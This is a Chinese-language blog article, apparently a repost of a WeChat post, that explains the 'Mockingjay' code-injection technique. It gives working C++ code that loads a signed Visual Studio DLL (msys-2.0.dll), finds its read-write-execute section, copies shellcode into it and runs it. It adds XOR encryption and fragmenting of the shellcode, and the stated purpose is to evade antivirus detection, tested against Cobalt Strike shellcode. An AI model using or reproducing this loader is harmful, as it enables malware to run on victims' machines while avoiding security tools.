Skip to content

Latest commit

 

History

History
240 lines (145 loc) · 8.32 KB

[XINYU2428]-2023-7-30-利用DLL文件RWX块的代码注入.md

File metadata and controls

240 lines (145 loc) · 8.32 KB

利用DLL文件RWX块的代码注入

原创 canyonero XINYU2428

XINYU2428

微信号 gh_65c38df19d17

功能介绍 信息安全打工人的学习分享及日常记录


__发表于

收录于合集

0x00 介绍

一般的代码注入技术经常会用到VirtualAllocWriteProcessMemoryCreateRemoteThreadCreateProcessOpenProcess等都是一些分配虚拟内存、内存写入、创建进程的操作的函数。这些函数被杀软严格监控做好的程序非常容易被干掉。为了避免这种情况的发生可以采取两种方式,一种方式是通过解钩或是在底层syscall层面绕过杀软的监控,另一种方式是不使用这些函数。
这里介绍的是不使用这种方式的方法,一种利用dll文件RWX内存块的方式来实现的代码注入的方式。这种技术的好处在于可以避免使用这些高危函数,且可利用合法的dll文件,在一定程度上可以绕过杀软。

利用RWX技术的注入方法其实已经出来很久了,本文主要介绍的主要是配合合法dll的利用。

0x01 实现方式

想要达到预期目的,需要实现以下几个流程

1.找到有rwx块且大小足够的DLL文件(最好是有签名的)  
2.加载DLL文件到当前进程并找到rwx块的内存地址  
3.往rwx块内写入shellcode  
4.执行shellcode  

在PE文件中,文件被分为多个块,例如.idata.text.rsrc.pdata等,每个文件块存储的数据和作用都不相同,RWX指的是文件块拥有可读可写可执行的权限。我们可以利用这段拥有RWX权限的块来放入shellcode并执行。在Visual Studio中,刚好就自带了一个这样的DLL文件,且该文件是签名的,所以可以利用这个白dll来执行shellcode。
在CFF工具中看到的rwx权限的块是这样的

0x02 代码流程

接下来用代码实现。
首先动态加载dll文件到内存

HMODULE hDll = ::LoadLibraryW(L"a.dll");  
  
if (hDll == nullptr) {  
  std::cout << "Fail to load the targeted DLL\n";  
}  
  
MODULEINFO moduleInfo;  
if (!::GetModuleInformation(  
  ::GetCurrentProcess(),  
  hDll,  
  &moduleInfo,  
  sizeof(MODULEINFO))  
   ) {  
  std::cout << "Fail to get module info\n";  
}  

找到RWX块的偏移地址

DWORD_PTR FindRWXOffset(HMODULE hModule) {  
    IMAGE_NT_HEADERS* ntHeader = ImageNtHeader(hModule);  
    if (ntHeader != NULL) {  
        IMAGE_SECTION_HEADER* sectionHeader = IMAGE_FIRST_SECTION(ntHeader);  
        for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {  
            if ((sectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHeader->Characteristics & IMAGE_SCN_MEM_READ)) {  
                DWORD_PTR baseAddress = (DWORD_PTR)hModule;  
                DWORD_PTR sectionOffset = sectionHeader->VirtualAddress;  
                DWORD_PTR sectionSize = sectionHeader->SizeOfRawData;  
                std::cout << "Base Adress : " <<std::hex<< baseAddress << std::endl;  
                std::cout << "Section Offset : " << std::hex << sectionOffset << std::endl;  
                std::cout << "Size of section : " << sectionSize << std::endl;  
                return sectionOffset;  
            }  
            sectionHeader++;  
        }  
    }  
    return 0;  
}  

计算RWX块大小

DWORD_PTR FindRWXSize(HMODULE hModule) {  
    IMAGE_NT_HEADERS* ntHeader = ImageNtHeader(hModule);  
    if (ntHeader != NULL) {  
        IMAGE_SECTION_HEADER* sectionHeader = IMAGE_FIRST_SECTION(ntHeader);  
        for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {  
            if ((sectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHeader->Characteristics & IMAGE_SCN_MEM_READ)) {  
                DWORD_PTR sectionSize = sectionHeader->SizeOfRawData;  
                //std::cout << "Size of section : " << sectionSize << std::endl;  
                return sectionSize;  
            }  
            sectionHeader++;  
        }  
    }  
    return 0;  
}  

往RWX中复制shellcode

void WriteCodeToSection(LPVOID rwxSectionAddr, const char* shellcode, SIZE_T sizeShellcode) {  
    memcpy((LPVOID)rwxSectionAddr, shellcode, sizeShellcode);  
    //std::cout << sizeShellcode << " bytes of shellcode Written to RWX Memory Region\n";  
}  

最后直接执行shellcode

void ExecuteCodeFromSection(LPVOID rwxSectionAddr) {  
    //inline assembly execution  
    ((void(*)())rwxSectionAddr)();  
}  

将编译好的exe文件和dll文件放在一起,运行exe后,exe会将DLL加载到自己的进程中,然后往DLL内存位置中复制shellcode,最后运行shellcode。
效果如下

0x03 程序优化

在exe中没有分配内存,也没有创建线程,仅仅是使用了memcpy来复制数据,我相信它的能够成功规避杀软对危险函数的动态监控。所以接下需要做的就是修改代码的特征,避免被静态查杀。

这之中最重要的就是对shellcode进行混淆或加密,比如可以实现一个快速而简单的XOR代码来对shellcode进行加解密,当然也可以用其他加密。

新建一个加密程序,将原始shellcode进行XOR处理。

#define KEY 0x01   
  
unsigned char buf[] = "\xff";  
int main(int argc, char* argv[])  
{  
    unsigned char c[sizeof(buf)];  
    for (int i = 0; i < sizeof(buf) - 1; i++)  
    {  
        c[i] = buf[i] ^ KEY;  
        printf("\\x%x", c[i]);  
    }  
    printf("\n");  
  
    return 0;  
}  

然后将解密代码放到主程序中,buff数组存储XOR前的数据,rawData存储解密后的数据

#define KEY 0x01  
  
unsigned char buff[] = "\xfd";   
unsigned char rawData[sizeof(buff)];  
for (int i = 0; i < sizeof(buff) - 1; i++)  
{  
  rawData[i] = buff[i] ^ KEY;  
}  

如果觉得光异或不够保险,可以分离一下shellcode再组合。
如以下代码所示,可使用memcpy来复写buf中的shellcode,想复写多少都可以,这样中一定程度上可以混淆特征。

unsigned char buf[] = "\xfd\x48\x83\xe4\xf0";  
char bufa[] = "\xfc";  
  
memcpy(shellcode, first, 1);     

这里直接使用原版CS4.0的shellcode进行上述加密混淆,看一下对杀软的效果。

0x04 更进一步

本文中使用的dll是Visual Studio中的msys-2.0.dll。若安装了Visual Studio,可以很轻松的找到这个dll。
可以看到跟exe不同,dll是具有完整签名的合法文件。这个dll能被利用是因为它有16kb左右的rwx空间,我们利用这块rwx空间的shellcode必须在16kb以内。那如果我有更长的shellcode呢?

手动修改块属性或者增加rwx块大小,可以实现容纳更长shellcode的需求,但是这样一来dll的签名就没了。为了能够完完全全利用合法的dll,实现更好的对抗杀软,只能找到其他有大空间rwx的dll。

有人在Github发布了一个python的工具,这个工具可以遍历目录查找存在rwx块的dll。
经过测试,我发现所有PE文件都是可利用的,我们需要的只是在合法文件中的那段rwx块。这意味着只要是有这些错误权限且空间足够的exe和dll,都可以利用。

0x05 参考来源

https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland- to-achieve-code-execution
https://github.com/b6e4n/POC-Mockingjay
https://github.com/malwareninja/Mockingjay---Vulnerable-DLL- Finder/blob/main/rwx_dll_finder.py

预览时标签不可点

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看